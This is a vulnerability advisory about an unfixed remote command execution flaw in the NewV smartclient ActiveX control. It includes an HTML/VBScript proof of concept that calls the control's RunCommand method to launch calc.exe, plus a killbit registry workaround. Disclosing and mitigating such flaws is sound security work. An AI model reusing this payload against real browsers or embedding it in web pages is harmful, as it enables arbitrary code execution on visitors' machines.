Vendor: NewV ( http:// www.newv.com.cn/ ) 
Product: NewV smartclient  
(http://demo.newv.com.cn/lds/module/smartclientsetting.exe)
Vulnerable Version: 1.0.0.18
Status: Not Fixed, Vendor Alerted
Risk level: High 
Credit: Yu Guo(yuguo.cn#gmail.com)

Description:
An input validation issue exists in the NewV ActiveX Control. 
The Runcommand attribute may allow attacker to run arbitrary command remotely.

POC:
<html>
<head>
<script language='vbscript'>
arg1 = "calc.exe"
</script>
</head>
<object classid='clsid:0B68B7EB-02FF-4A41-BC14-3C303BB853F9' id='target' />
</object>
<script language='vbscript'>
target.RunCommand arg1 
</script>
</html>

Workaround:
Set the Killbit for NewV CLSIDs:
{0B68B7EB-02FF-4A41-BC14-3C303BB853F9}

.Reg file:
 
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\ActiveX Compatibility\{0B68B7EB-02FF-4A41-BC14-3C303BB853F9}]
"Compatibility Flags"=dword:00000400
